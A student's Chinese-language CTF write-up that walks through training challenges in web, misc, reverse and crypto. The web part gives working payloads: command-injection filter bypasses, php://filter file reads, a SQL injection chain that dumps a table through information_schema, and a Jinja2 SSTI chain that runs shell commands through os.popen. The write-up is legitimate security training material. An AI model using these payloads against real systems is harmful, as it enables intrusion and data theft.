

wp

Web

外星人：打开网页，发现文字可以复制，复制粘贴，得以下内容

Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is flag{e15180e0fff28a468387957d06ae0713}

view source: 题目名称提示查看源码，进入网页后右键查看，得
flag{0e394d6005f54b97670138518ad1f353}

一个不能按的按钮：进入网页，查看源码，去掉其中的'disable='，即可按动按钮，
得 flag{fa966345577ba81af19408f203db968f}

Eszy_request: 进入网页后，页面提示使用 get 提交变量，打开火狐内置的 hackbar，

<http://xiyounet-ctfraing-web.node.xuntctf.top:10083/?a=1>

页面提示使用 post 提交变量，勾选 post date ，输入 b=2，得

flag{We1c0me_T0_xiyoUn1t!}

夹心饼干：题目暗指 cookie，于是右键查看，点击网络，点击重新加载，点击第一个状态为 200 的域名，查看 cookie，提示“cookie.php”，

<http://xiyounet-ctfraing-web.node.xuntctf.top:10087/cookie.php>

网页提示看一看 http response !

查看消息头，在响应头中发现 flag：

flag{c503d56a-ead1-48d7-aaf7-bda27e0e90c4}

一起来玩呀：打开网页，发现是俄罗斯方块游戏，玩了几局，觉得可能是达到一定分数，于是查看源码，在 index.js 中发现了得到 flag 的函数

```
function getFlag() {
```

```
var req = new XMLHttpRequest();

req.open("GET", "f1Ag.php?score=" + score);

req.onload = function () {

    alert(this.responseText);

};
```

提示 get 方式提交到 f1Ag.php，于是随便输一个分数 9999999999

<http://xiyounet-ctftraing-web.node.xuntctf.top:10086/f1Ag.php?score=999999999999>

得到 游戏结束，分数为：9999999999 flag{T3trl5_i^t3ri^g}

扫黑行动：进入网页，查看源码，提示 git 泄露

使用 githack，python2 GitHack.py 网址/.git/

获得 falg.html

得 flag{4aad2a8f-8fe6-475c-821d-fbe436c40691}

争分夺秒的黑客：进入网页后打开源码，上面 提示输入一个 100-200 之间的数，于是随便输了一个，竟然出了？！

知道这不是正确的解法，用 burpsuite 抓了包，然后去跑了一个 100-200 的数的字典，查看返回长度不同的一个，得到 flag

寻物启事：打开源码，hint Do you know dirsearch？

Dirsearch 是一款目录爆破工具，在 python3 下运行

[10:25:44] 200 - 154B - /123.php

得知这个有问题，尝试访问

得到：谢谢你帮我找到玩具车。为了感谢，我决定将它的出厂语音读给你听。

flag{Armageddon_cannon_is_here}

小姐姐来学 http: 看这个意思, 似乎是抓包改包。

进入网址, 使用 burpsuite 抓包, 然后 send to repeater, 开始修改

http 改为 3.0 Cookie: Sex 改为=0

提示网协开发浏览器

User-Agent: 改为 xiyounet99999.0

提示必须从本地访问

Cache-Control: no-cache 下面加入 X-Forwarded-For: 127.0.0.1

提示我只认得 utf-8

下面 Accept-Charset: utf-8

提示 Hello, 小姐姐! flag 就是"猪猪"的 md5 加密(~ ▽ ~) ~ !

MD5 32 位小写加密后包裹在 flag 头里

flag{58a0c3e27e7d8742e26ec054a433f0e6}

花式绕过:

浏览 php 码, 知以 get 方式提交

?ctf=ls //ls 是 Linux 常用命令, 也可以 dir

网页提示: 50x.html flag.php index.php

发现目录下有 flag 文件, 一开始可以直接打开, 后来题改了。

?ctf=php%09fl??

用这种办法绕过, php 在起来不会有匹配的内容 %09 可以替代空格, flag 被过滤,

使用 fl??, ? 匹配任意数, 这里匹配为 flag

提示: Could not open input file: fl?? 想到使用 grep 命令

?ctf=grep%09fla%09fla???hp

得到 flag flag{486781b7368effbbda3c87c04296650b}

你能看见我吗:页面上显示一段 php 码，查阅相关资料后，知道用 post 提交，使用 php://filter 伪协议的方式读取文件内容

ctf=php://filter/convert.base64-encode/resource=hihintnt.php

一开始写的时候不对，后面是 hint.php,后来想到存在 \$ctf = str_replace(\$black_list, "", \$ctf);，如果我们是 hint.php 则会变成.php，如果是 hihintnt.php 则为 hint.php
获得 PD9waHAKZmxhZ+WcqGZsYWdmbGFnLnBocOmHjAo/Pgo=

base64 解码

```
<?php
```

flag 在 flagflag.php 里

```
?>
```

打开 flagflag.php，发现啥都没有。然后就不会了，学长说有个脑洞，但是我根本没看出来 orz

然后他告诉我 flag 在上上层目录里，然后我就惊呆了。

ctf=php://filter/convert.base64-encode/resource=../flflagagflflagag.php

PD9waHANCIAGlCBiY2hvlCi8IS0tZmxhZ3s4MDAxYzRjYjZjYzQxYjZINzRiZjQ4ODc4OGY4ZmExM30tLT4iDQo/Pg==

base64

```
<?php
```

```
    echo "<!--flag{8001c4cb6cc41b6e74bf488788f8fa13}-->"
```

```
?>
```

在线留言板： 查阅了 ctf 留言板有关的题目，觉得是 sql 注入

参见 https://blog.csdn.net/qq_42646885/article/details/95049378

开始尝试

先用 git hack，获取了网站源码，然后得到了注入点和过滤函数。

VALUES ('\$nickname','\$comment','\$date','"'.\$ip.'"','\$is_check')";

```
function test_input($data) {  
    $data = trim($data);  
    $data = stripslashes($data);  
    $data = htmlspecialchars($data);  
    return $data;  
}
```

过滤函数好像可以轻松绕过，然后在 ip 处注入

用户名随便写点，在留言处注入，然后找了个 SQL 注入得表

2','3',user(),'5')# 获取权限

2','3',(select(database())),'5')#查库

2','3',(select(group_concat(table_name))from(information_schema.tables)where(t
able_schema)like(database())),'5')#查表

2','3',(select(group_concat(column_name))from(information_schema.columns)wh
ere(table_name)like('f1ag')),'5')#查字段

2','3',(select(group_concat(flag))from(f1ag)),'5')#查数据

这里 flag 其实已经出来了，但是是半截，想办法查资料后，打算用 substr 函数
分割下

2','3',((substr((select(flag)from(f1ag)),16,32))),5')#分割函数

得到 flag

HELLO PYTHON: 基于 Flask 的 Jinja2 模板的 SSTI

这题得怪我运气实在是太好了，在 csdn 上找到一篇文章，试了试，似乎可以，然后照着人家的做，就这么出了！？发现这题和人家的做法完全吻合，啊这、我其实完全不懂 ssti

<https://blog.csdn.net/Xxy605/article/details/108929106>

用户名处为注入点，用 burpsuite 抓包，然后 send to repeat 开始

```
name={{config}}
```

```
name={{%27%27.__class__}}
```

```
name={{%27%27.__class__.__mro__}}
```

```
name={{%27%27.__class__.__mro__[-1].__subclasses__()}}
```

这里的 214 是数出来的，不会写脚本，只能一个一个数。

```
name={{%27%27.__class__.__mro__[-1].__subclasses__()[214].__init__.__globals__[ '__builtins__']['eval']('__import__("os").popen("ls /").read()')}}}
```

```
name={{%27%27.__class__.__mro__[-1].__subclasses__()[214].__init__.__globals__[ '__builtins__']['eval']('__import__("os").popen("cat /root/flag").read()')}}}
```

得到 flag，flag{2710b010-2694-41ad-9485-e8f1664f790d}，被我屯了，害怕学长出新题。

以上是 web 部分。

Misc

真 pdf: 在攻防世界上做过，使用 google 浏览器打开，发现图片下有字

复制 flag{xixix1!_Y0u_Find_me111}

图片有四种格式：根据提示下载文件，用 010 打开，在尾部发现了 flag

flag{A_IIK3_M15cCc}

我的 flag 裂开了：提示说头没了，联想到图片头，使用 010 打开，果然图片头不对，加入图片头后，两张图片回复正常了，两个半截的 flag

这就是个 excel：下载后，根据题目的提示，给文件加上 xlsx 后缀，在 excel 里打开，上面写着我已经看见 flag 了

然后发现隐藏着很多填有 1 的框，可能是二维码

将所有填有 1 的框全部涂黑，果然是个二维码

改变行高，然后用手机扫描，得到一串看上去不像是 flag 的字符

猜想 base64，解密，得到 flag

Megumin：下载动图后，使用 stegsolve 分解，得到二维码，但是在三个角上打着×，修复后扫描二维码，得到一串后带==的密文，使用 base64 解码

得到了另一串，连续 base32,base16 解码，得到 flag

flag{notia_explosion}（未提交）

Serize 的秘密：下载压缩包后发现密码，题目说是他的生日，我使用了 Advanced Archive Password Recovery 来爆破，载入了一个 2000-2004 年生日字典，得到密码 20021110 吗，得到了 flag

flag{S3R1Ze's_SeCrEt}（未提交）

zip 加密：根据题目条件，似乎是 zip 伪加密，使用 csdn 上下载的 zip 伪加密解密工具，得到 flag{Zip_i5_In73rest1ng}（未提交）

毅哥哥的表白信：偷看提示，flag 是得到的文字 MD5 加密后逆序

进入文件，发现左上角标题下有个小点，

拉开后里面的文字是“我想让你做我女朋友”（土味情话）

得到 flag{cc3d5eeeb2a68bfa0f6c2139f87a748f}（未提交）

Reverse

星星点灯：攻防世界原题，下载后从 8 按到 1，得到 flag。

不会逆向，没用逆向的方法做

Ezre：使用 IDA 打开，得到

```
'int main(void) {';0Ah ; DATA XREF: _main+Eo
int a, b; scanf("%d%d", &a, &b); if(a == b)
printf("ZmxhZ3sxNmNmOWlxMy0xYmE1LTQ3Y2MtYThiMC03M2Y4ZWRhNmU5
ZTR9");
else printf("Try again");};0
```

发现 base64 密文，解密得到 flag{16cf9b13-1ba5-47cc-a8b0-73f8eda6e9e4}（未提交）

免费的 flag：放进 IDA，打开，F12 查看，发现 flag{thls_1s/n0t_a-f1|ag!}(未提交)

为什么这个 100 的比上面 50 的还简单，是我走弯路了？

Crypto

Base16*4：题目给出一段 base64 加密的密文，解密得到 flag

ezsy_Caesar！：根据题目，上网搜索凯撒解密，解码后的到 flag

new base64：下载 py 文件，得到加密方式，因为太菜了所以是手动一个一个对

的，得到 flag

Railfence Cipher: 根据题目提示，搜索栅栏密码解码器，w 型，栏目数为 4

得到 flag

Pig: 查阅资料，发现是猪圈密码，解码得到 flag

what is 阿斯口码? 打开.py 文件，获得一串数组，利用 ASCII 码解码，获得 flag

总结: 从 CTF 比赛中受益匪浅，同时也感知到了自己的不足。相信我会继续在这条路上走下去。